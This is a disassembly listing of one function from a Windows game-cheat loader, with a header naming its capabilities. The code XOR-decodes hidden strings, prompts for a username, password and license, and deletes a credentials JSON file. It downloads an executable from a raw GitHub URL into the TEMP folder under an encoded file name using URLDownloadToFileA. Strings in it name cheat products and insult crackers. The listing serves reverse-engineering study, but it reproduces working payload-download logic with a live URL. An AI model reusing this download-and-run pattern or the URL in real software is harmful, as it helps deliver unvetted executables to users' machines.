Function at 0x140006b20
Capabilities:
Delete file
Download url
Encode data using xor
Execute command
Query environment variable
Receive data
Set console window title
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1f0]
sub rsp, 0x2f0
mov rax, qword [0x1400ab0c0]
xor rax, rsp
mov qword [rbp + 0x1e0], rax
xor r14d, r14d
lea rcx, [0x1400b4570]
call fcn.14002b710
call fcn.1400057e0
test al, al
je 0x140006b9b
lea rdx, [0x140099929]
lea rcx, [rbp + 0x130]
call fcn.14000cb20
mov rdx, rax
lea rcx, [0x1400b4570]
call fcn.140026480
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.1400060d0
call fcn.1400062d0
mov rsi, 0xffffffffffffffff
test al, al
je 0x140006da0
xorps xmm0, xmm0
movups xmmword [rbp + 0x48], xmm0
mov qword [rbp + 0x58], r14
mov qword [rbp + 0x60], r14
lea r8d, [rsi + 0x3d]
lea rdx, str.Fuck_you_for_cracking_my_loader__go_crack_Neverlose_instead.
lea rcx, [rbp + 0x48]
call fcn.140010fe0
lea rdx, [rbp + 0x48]
lea rcx, [0x1400b4570]
call fcn.140026480
xorps xmm0, xmm0
movups xmmword [rbp + 0xc8], xmm0
mov qword [rbp + 0xd8], r14
mov qword [rbp + 0xe0], r14
lea r8d, [rsi + 0x48]
lea rdx, str.https:__raw.githubusercontent.com_IkanaideCYKAZ_1k41n41d3_main_tsid.exe
lea rcx, [rbp + 0xc8]
call fcn.140010fe0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x110], xmm0
mov qword [rbp + 0x120], r14
mov qword [rbp + 0x128], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x110], 0
lea rcx, str.TEMP
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
test rax, rax
je 0x140006ca5
mov rdi, rsi
nop
inc rdi
cmp byte [rax + rdi], 0
jne 0x140006c50
mov rcx, qword [rbp + 0x128]
cmp rdi, rcx
ja 0x140006c93
lea rbx, [rbp + 0x110]
cmp rcx, 0xf
cmova rbx, qword [rbp + 0x110]
mov qword [rbp + 0x120], rdi
mov r8, rdi
mov rdx, rax
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi], 0
jmp 0x140006ca5
mov r9, rax
mov rdx, rdi
lea rcx, [rbp + 0x110]
call fcn.1400123a0
mov r8d, Ordinal_30
lea rdx, str.OTg0NTc4NDg2NTY2MDAyNzU4.exe
lea rcx, [rbp + 0x110]
call fcn.14000f220
lea r8, [rbp + 0x110]
cmp qword [rbp + 0x128], 0xf
cmova r8, qword [rbp + 0x110]
lea rdx, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 0xf
cmova rdx, qword [rbp + 0xc8]
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
nop
mov rdx, qword [rbp + 0x128]
cmp rdx, 0xf
jbe 0x140006d41
inc rdx
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006d3c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006d3c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400865e4
mov qword [rbp + 0x120], r14
mov qword [rbp + 0x128], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x110], 0
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0xf
jbe 0x140006da0
inc rdx
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006d99
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006d99
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400865e4
nop
mov dword [0x1400b47e8], 0
mov qword [0x1400b4538], 0
mov word [0x1400b4540], 0
mov byte [0x1400b4542], 0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [0x1400b47f0], xmm0
movups xmmword [0x1400b4800], xmm0
movups xmmword [0x1400b4810], xmm0
movups xmmword [0x1400b4820], xmm0
mov byte [0x1400b4830], al
mov dword [0x1400b4530], eax
mov byte [0x1400b4534], al
movups xmmword [0x1400b4548], xmm0
mov qword [0x1400b4558], rax
mov dword [0x1400b4560], eax
mov byte [0x1400b4564], al
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rbx, rax
mov qword [rbp + 0xe8], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov qword [rbp + 0x110], rax
mov dword [rsp + 0x60], 0x350098
movdqa xmm0, xmmword [0x14009c070]
movdqu xmmword [rsp + 0x64], xmm0
movdqa xmm1, xmmword [0x14009c080]
movdqu xmmword [rsp + 0x74], xmm1
mov dword [rbp - 0x7c], 0xedb7f6bd
mov word [rbp - 0x78], 0xb1cd
mov byte [rbp - 0x76], 0
lea rcx, [rsp + 0x60]
call fcn.14000ada0
mov r9, rax
inc rsi
cmp byte [rax + rsi], 0
jne 0x140006e76
movabs rax, 0x7fffffffffffffff
mov rcx, qword [0x1400b4500]
sub rax, rcx
cmp rax, rsi
jae 0x140006e9e
call fcn.140001ce0
int3
lea rax, [0x1400b44f0]
cmp qword [0x1400b4508], 0xf
cmova rax, qword [0x1400b44f0]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
lea r8, [0x1400b44f0]
movzx edx, byte [rbp - 0x40]
lea rcx, [rbp + 0x48]
call fcn.140012e30
nop
mov r8d, 1
lea rdx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x48]
call fcn.14000f220
xorps xmm0, xmm0
movups xmmword [rbp + 0x88], xmm0
mov qword [rbp + 0x98], r14
mov qword [rbp + 0xa0], r14
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x88], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x98], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rdx, [0x1400b4510]
cmp qword [0x1400b4528], 0xf
cmova rdx, qword [0x1400b4510]
mov r8, qword [0x1400b4520]
lea rcx, [rbp + 0x88]
call fcn.14000f220
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c0], xmm0
mov qword [rbp + 0x1d0], r14
mov qword [rbp + 0x1d8], r14
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1c0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1d0], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rbp + 0xa0]
cmp rdx, 0xf
jbe 0x140006fd5
inc rdx
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006fd0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006fd0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400865e4
mov qword [rbp + 0x98], r14
mov qword [rbp + 0xa0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x88], 0
mov rdx, qword [rbp + 0x60]
cmp rdx, 0xf
jbe 0x14000702c
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007027
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007027
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400865e4
mov qword [rbp + 0x58], r14
mov qword [rbp + 0x60], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x48], 0
lea rcx, [rbp + 0x1c0]
cmp qword [rbp + 0x1d8], 0xf
cmova rcx, qword [rbp + 0x1c0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov edx, 4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.____________________________________________________________________n__________________________________________________________________n_____________________________________________n____________________________________________n______________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________n_t
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140010180
lea rdx, [0x140010480]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 7
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [rsp + 0x60], 0x350098
mov al, 0x98
mov rcx, r14
lea rsi, [0x140000000]
movzx ebx, byte [rsp + 0x62]
nop dword [rax + rax]
xor al, byte [rcx + rsi + 0x9a010]
xor al, bl
mov byte [rsp + rcx + 0x64], al
movzx ebx, byte [rsp + 0x62]
xor al, bl
inc rcx
cmp rcx, 0x43
jb 0x1400070c0
mov byte [rbp - 0x59], 0
mov ecx, 0x44
call fcn.1400865ec
movzx r10d, byte [rsp + 0x60]
mov r9, r14
nop dword [rax]
nop dword [rax + rax]
movzx r8d, byte [rsp + r9 + 0x64]
movzx edx, r8b
xor dl, r10b
xor dl, bl
mov byte [rax + r9], dl
movzx r10d, r8b
xor r10b, bl
inc r9
cmp r9, 0x43
jb 0x140007100
mov byte [rax + 0x43], 0
mov rdx, rax
mov rcx, rdi
call fcn.140010180
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._n_n__If_press_N_on_injecting_Sapphire__it_will_only_inject_LegitzWare.
lea rcx, [rsp + 0x60]
call fcn.14000ac80
mov rcx, rax
call fcn.14000ab10
mov rdx, rax
mov rcx, rbx
call fcn.140010180
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [rsp + 0x60], 0x350098
lea rcx, [rsp + 0x60]
call fcn.14000e210
lea rcx, [rsp + 0x60]
call fcn.14000b1d0
mov rdx, rax
mov rcx, rbx
call fcn.140010180
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x60], 0x350098
mov al, 0x98
mov rcx, r14
movzx ebx, byte [rsp + 0x62]
nop dword [rax]
xor al, byte [rcx + rsi + 0x9a0f0]
xor al, bl
mov byte [rsp + rcx + 0x64], al
xor al, byte [rcx + rsi + 0x9a0f1]
mov byte [rsp + rcx + 0x65], al
xor al, byte [rcx + rsi + 0x9a0f2]
mov byte [rsp + rcx + 0x66], al
xor al, byte [rcx + rsi + 0x9a0f3]
mov byte [rsp + rcx + 0x67], al
xor al, byte [rcx + rsi + 0x9a0f4]
mov byte [rsp + rcx + 0x68], al
xor al, byte [rcx + rsi + 0x9a0f5]
mov byte [rsp + rcx + 0x69], al
xor al, byte [rcx + rsi + 0x9a0f6]
mov byte [rsp + rcx + 0x6a], al
xor al, byte [rcx + rsi + 0x9a0f7]
mov byte [rsp + rcx + 0x6b], al
xor al, byte [rcx + rsi + 0x9a0f8]
mov byte [rsp + rcx + 0x6c], al
xor al, byte [rcx + rsi + 0x9a0f9]
mov byte [rsp + rcx + 0x6d], al
xor al, byte [rcx + rsi + 0x9a0fa]
mov byte [rsp + rcx + 0x6e], al
xor al, byte [rcx + rsi + 0x9a0fb]
mov byte [rsp + rcx + 0x6f], al
xor al, byte [rcx + rsi + 0x9a0fc]
mov byte [rsp + rcx + 0x70], al
movzx ebx, byte [rsp + 0x62]
xor al, bl
add rcx, 0xd
cmp rcx, 0x41
jb 0x1400071b0
mov byte [rbp - 0x5b], 0
mov ecx, 0x42
call fcn.1400865ec
mov r10, rax
mov qword [rbp - 0x38], rax
movzx ecx, byte [rsp + 0x60]
lea r9, [rax + 2]
lea rdi, [rsp + 0x62]
sub rdi, rax
lea rsi, [rsp + 0x63]
sub rsi, rax
lea r14, [rsp + 0x64]
sub r14, rax
lea r15, [rsp + 0x65]
sub r15, rax
lea r12, [rsp + 0x66]
sub r12, rax
lea r13, [rsp + 0x67]
sub r13, rax
lea rax, [rsp + 0x68]
sub rax, r10
mov qword [rbp + 0xa8], rax
lea r8, [rsp + 0x69]
sub r8, r10
mov qword [rbp + 0x68], r8
lea rax, [rsp + 0x6a]
sub rax, r10
mov qword [rbp + 0xb0], rax
lea rax, [rsp + 0x6b]
sub rax, r10
mov qword [rbp + 0xb8], rax
lea rax, [rsp + 0x6c]
sub rax, r10
mov qword [rbp + 0xc0], rax
lea rax, [rsp + 0x6d]
sub rax, r10
mov qword [rbp + 0x20], rax
lea rax, [rsp + 0x6e]
sub rax, r10
mov qword [rbp - 0x20], rax
mov r11d, 5
mov r10, qword [rbp + 0xa8]
movzx eax, byte [r9 + rdi]
xor al, cl
xor al, bl
mov byte [r9 - 2], al
movzx eax, byte [rsi + r9]
xor al, byte [r9 + rdi]
mov byte [r9 - 1], al
movzx eax, byte [r9 + r14]
xor al, byte [rsi + r9]
mov byte [r9], al
movzx eax, byte [r9 + r15]
xor al, byte [r9 + r14]
mov byte [r9 + 1], al
movzx eax, byte [r9 + r12]
xor al, byte [r9 + r15]
mov byte [r9 + 2], al
movzx eax, byte [r9 + r13]
xor al, byte [r9 + r12]
mov byte [r9 + 3], al
movzx eax, byte [r10 + r9]
xor al, byte [r9 + r13]
mov byte [r9 + 4], al
movzx eax, byte [r9 + r8]
xor al, byte [r10 + r9]
mov byte [r9 + 5], al
mov rax, qword [rbp + 0xb0]
movzx edx, byte [r9 + rax]
movzx eax, dl
xor al, byte [r9 + r8]
mov byte [r9 + 6], al
mov rax, qword [rbp + 0xb8]
movzx ecx, byte [r9 + rax]
movzx eax, cl
xor al, dl
mov byte [r9 + 7], al
mov rax, qword [rbp + 0xc0]
movzx edx, byte [rax + r9]
movzx eax, dl
xor al, cl
mov byte [r9 + 8], al
mov rax, qword [rbp + 0x20]
movzx r8d, byte [rax + r9]
movzx eax, r8b
xor al, dl
mov byte [r9 + 9], al
mov rax, qword [rbp - 0x20]
movzx ecx, byte [rax + r9]
movzx eax, cl
xor al, r8b
mov byte [r9 + 0xa], al
xor cl, bl
lea r9, [r9 + 0xd]
sub r11, 1
mov r8, qword [rbp + 0x68]
jne 0x140007311
mov r10, qword [rbp - 0x38]
mov byte [r10 + 0x41], 0
mov rdx, r10
mov rcx, qword [rsp + 0x40]
call fcn.140010180
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [rsp + 0x60], 0x350098
lea rcx, [rsp + 0x60]
call fcn.14000df90
lea rcx, [rsp + 0x60]
call fcn.14000a8b0
mov rdx, rax
mov rcx, rbx
call fcn.140010180
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [rsp + 0x60], 0x350098
movdqa xmm0, xmmword [0x14009c020]
movdqu xmmword [rsp + 0x64], xmm0
movdqa xmm1, xmmword [0x14009c000]
movdqu xmmword [rsp + 0x74], xmm1
mov dword [rbp - 0x7c], 0x74f81e88
mov word [rbp - 0x78], 0xf6
lea rcx, [rsp + 0x60]
call fcn.14000a620
mov rdx, rax
mov rcx, rbx
call fcn.140010180
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [rsp + 0x60], 0x350098
lea rcx, [rsp + 0x60]
call fcn.14000de80
lea rcx, [rsp + 0x60]
call fcn.14000a3f0
mov rdx, rax
mov rcx, rbx
call fcn.140010180
xorps xmm0, xmm0
movups xmmword [rbp + 0xc8], xmm0
xor r12d, r12d
mov qword [rbp + 0xd8], r12
mov qword [rbp + 0xe0], r12
lea r8d, [r12 + 0x18]
lea rdx, str.User_accessed_the_loader
lea rcx, [rbp + 0xc8]
call fcn.140010fe0
lea rdx, [rbp + 0xc8]
lea rcx, [0x1400b4570]
call fcn.14002e650
cmp byte [0x1400b4780], r12b
jne 0x140007554
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._n_Status:
lea rcx, [rbp + 0x110]
call fcn.14000a3a0
mov rcx, rax
call fcn.14000a300
mov rdx, rax
mov rcx, rbx
call fcn.140010180
mov rcx, rax
lea rdx, [0x1400b4788]
call fcn.1400104c0
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [r12 + 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdi, str.LegitzWare.json
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], reloc.WS2_32.dll_ntohs
call fcn.140085b3c
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
lea r8, [rsp + 0x40]
mov edx, eax
lea rcx, [rbp + 0x160]
call fcn.140002c80
nop
lea rcx, [rbp + 0x160]
call fcn.140003720
movzx ebx, al
mov rdx, qword [rbp + 0x178]
cmp rdx, 7
jbe 0x1400075e5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400075e0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400075e0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400865e4
test bl, bl
je 0x140007975
lea rax, [rbp + 0xc8]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xc8], xmm0
mov qword [rbp + 0xd8], r12
mov qword [rbp + 0xe0], r12
mov r8d, 8
lea rdx, str.username
lea rcx, [rbp + 0xc8]
call fcn.140010fe0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xf0], xmm0
mov qword [rbp + 0x100], r12
mov qword [rbp + 0x108], r12
mov r8d, reloc.WS2_32.dll_ntohs
mov rdx, rdi
lea rcx, [rbp + 0xf0]
call fcn.140010fe0
nop
lea rdx, [rbp + 0xc8]
lea rcx, [rbp + 0xf0]
call fcn.140004c80
xorps xmm0, xmm0
mov qword [rbp + 0xd8], r12
mov qword [rbp + 0xe0], r12
lea rcx, [rbp + 0xc8]
movups xmmword [rbp + 0xc8], xmm0
test al, al
lea rax, [rbp + 0xc8]
mov qword [rsp + 0x40], rax
jne 0x1400077b3
mov r8d, 7
lea rdx, str.license
call fcn.140010fe0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xf0], xmm0
mov qword [rbp + 0x100], r12
mov qword [rbp + 0x108], r12
mov r8d, reloc.WS2_32.dll_ntohs
mov rdx, rdi
lea rcx, [rbp + 0xf0]
call fcn.140010fe0
nop
lea r8, [rbp + 0xc8]
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x160]
call fcn.1400046f0
nop
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x130]
call fcn.14000cb60
mov rdx, rax
lea rcx, [0x1400b4570]
call fcn.14002d0a0
cmp byte [0x1400b4780], 0
jne 0x140007777
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rdx, str._n_Status:
lea rcx, [rbp + 0x110]
call fcn.14000a3a0
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000a2d0
mov rcx, rax
lea rdx, [0x1400b4788]
call fcn.1400104c0
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._n_n_Successfully_Automatically_Logged_In_n
lea rcx, [rsp + 0x60]
call fcn.14000a2b0
mov rdx, rax
mov rcx, r8
call fcn.14000a280
nop
lea rcx, [rbp + 0x160]
call fcn.14000cac0
mov r15, qword [rbp + 0xe8]
jmp 0x1400080ef
mov r8d, 8
lea rdx, str.username
call fcn.140010fe0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xf0], xmm0
mov qword [rbp + 0x100], r12
mov qword [rbp + 0x108], r12
mov r8d, reloc.WS2_32.dll_ntohs
mov rdx, rdi
lea rcx, [rbp + 0xf0]
call fcn.140010fe0
nop
lea r8, [rbp + 0xc8]
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x130]
call fcn.1400046f0
nop
lea rax, [rbp + 0x1a0]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
mov qword [rbp + 0x1b0], r12
mov qword [rbp + 0x1b8], r12
mov r8d, 8
lea rdx, str.password
lea rcx, [rbp + 0x1a0]
call fcn.140010fe0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x68], xmm0
mov qword [rbp + 0x78], r12
mov qword [rbp + 0x80], r12
mov r8d, reloc.WS2_32.dll_ntohs
mov rdx, rdi
lea rcx, [rbp + 0x68]
call fcn.140010fe0
nop
lea r8, [rbp + 0x1a0]
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0x160]
call fcn.1400046f0
nop
lea rax, [rbp + 0xc8]
mov qword [rsp + 0x40], rax
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0xc8]
call fcn.14000cb60
mov rbx, rax
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0xf0]
call fcn.14000cb60
nop
mov r8, rbx
mov rdx, rax
lea rcx, [0x1400b4570]
call fcn.14002eeb0
cmp byte [0x1400b4780], 0
jne 0x14000792c
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rdx, str._n_Status:
lea rcx, [rbp + 0x110]
call fcn.14000a3a0
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000a2d0
mov rcx, rax
lea rdx, [0x1400b4788]
call fcn.1400104c0
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._n_n_Successfully_Automatically_Logged_In_n
lea rcx, [rsp + 0x60]
call fcn.14000a2b0
mov rdx, rax
mov rcx, r8
call fcn.14000a280
nop
lea rcx, [rbp + 0x160]
call fcn.14000cac0
nop
lea rcx, [rbp + 0x130]
call fcn.14000cac0
mov r15, qword [rbp + 0xe8]
jmp 0x1400080ef
mov edx, 2
mov r15, qword [rbp + 0xe8]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [rsp + 0x60], 0x350098
mov al, 0x98
mov rcx, r12
movzx ebx, byte [rsp + 0x62]
lea rsi, [0x140000000]
nop word [rax + rax]
xor al, byte [rcx + rsi + 0x9a1d0]
xor al, bl
mov byte [rsp + rcx + 0x64], al
movzx ebx, byte [rsp + 0x62]
xor al, bl
inc rcx
cmp rcx, 0x47
jb 0x1400079b0
mov byte [rbp - 0x55], 0
mov ecx, 0x48
call fcn.1400865ec
movzx r9d, byte [rsp + 0x60]
mov r8, r12
nop dword [rax]
nop dword [rax + rax]
movzx edx, bl
xor dl, byte [rsp + r8 + 0x64]
xor r9b, dl
mov byte [rax + r8], r9b
movzx r9d, dl
inc r8
cmp r8, 0x47
jb 0x1400079f0
mov byte [rax + 0x47], 0
mov rdx, rax
mov rcx, rdi
call fcn.140010180
mov edx, 7
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [rsp + 0x60], 0x350098
mov al, 0x98
mov rcx, r12
movzx ebx, byte [rsp + 0x62]
xor al, byte [rcx + rsi + 0x9a220]
xor al, bl
mov byte [rsp + rcx + 0x64], al
movzx ebx, byte [rsp + 0x62]
xor al, bl
inc rcx
cmp rcx, 0x4f
jb 0x140007a42
mov byte [rbp - 0x4d], 0
mov ecx, 0x50
call fcn.1400865ec
movzx r9d, byte [rsp + 0x60]
mov r8, r12
nop word [rax + rax]
movzx edx, bl
xor dl, byte [rsp + r8 + 0x64]
xor r9b, dl
mov byte [rax + r8], r9b
movzx r9d, dl
inc r8
cmp r8, 0x4f
jb 0x140007a80
mov byte [rax + 0x4f], 0
mov rdx, rax
mov rcx, rdi
call fcn.140010180
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
mov qword [rbp + 0x1b0], r12
mov qword [rbp + 0x1b8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1a0], 0
movups xmmword [rbp + 0xc8], xmm0
mov qword [rbp + 0xd8], r12
mov qword [rbp + 0xe0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xc8], 0
movups xmmword [rbp + 0xf0], xmm0
mov qword [rbp + 0x100], r12
mov qword [rbp + 0x108], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xf0], 0
lea rdx, [rbp + 0xe8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov ecx, dword [rbp + 0xe8]
sub ecx, 1
je 0x140007e2e
sub ecx, 1
je 0x140007cb7
sub ecx, 1
je 0x140007be7
cmp ecx, 1
je 0x140007b7f
lea rdx, str._n_n_Status:_Failure:_Invalid_Selection
lea rcx, [rsp + 0x60]
call fcn.14000a7c0
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000a5f0
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov dword [rsp + 0x40], 0x350098
movdqa xmm0, xmmword [0x14009c060]
movdqu xmmword [rsp + 0x44], xmm0
mov word [rsp + 0x54], Ordinal_143
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140009f00
lea rdx, [rbp + 0xf0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400104e0
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x130]
call fcn.14000cb60
mov rdx, rax
lea rcx, [0x1400b4570]
call fcn.14002d0a0
jmp 0x140007ef5
mov dword [rsp + 0x40], 0x350098
movdqa xmm0, xmmword [0x14009c050]
movdqu xmmword [rsp + 0x44], xmm0
mov dword [rsp + 0x54], 0xe9c9f3
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000a0f0
lea rdx, [rbp + 0x1a0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400104e0
mov dword [rsp + 0x40], 0x350098
movdqa xmm0, xmmword [0x14009c060]
movdqu xmmword [rsp + 0x44], xmm0
mov word [rsp + 0x54], Ordinal_143
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140009f00
lea rdx, [rbp + 0xf0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400104e0
lea rax, [rbp + 0x130]
mov qword [rsp + 0x40], rax
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x130]
call fcn.14000cb60
mov rbx, rax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x160]
call fcn.14000cb60
nop
mov r8, rbx
mov rdx, rax
lea rcx, [0x1400b4570]
call fcn.140034fa0
jmp 0x140007ef5
mov dword [rsp + 0x40], 0x350098
movdqa xmm0, xmmword [0x14009c050]
movdqu xmmword [rsp + 0x44], xmm0
mov dword [rsp + 0x54], 0xe9c9f3
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000a0f0
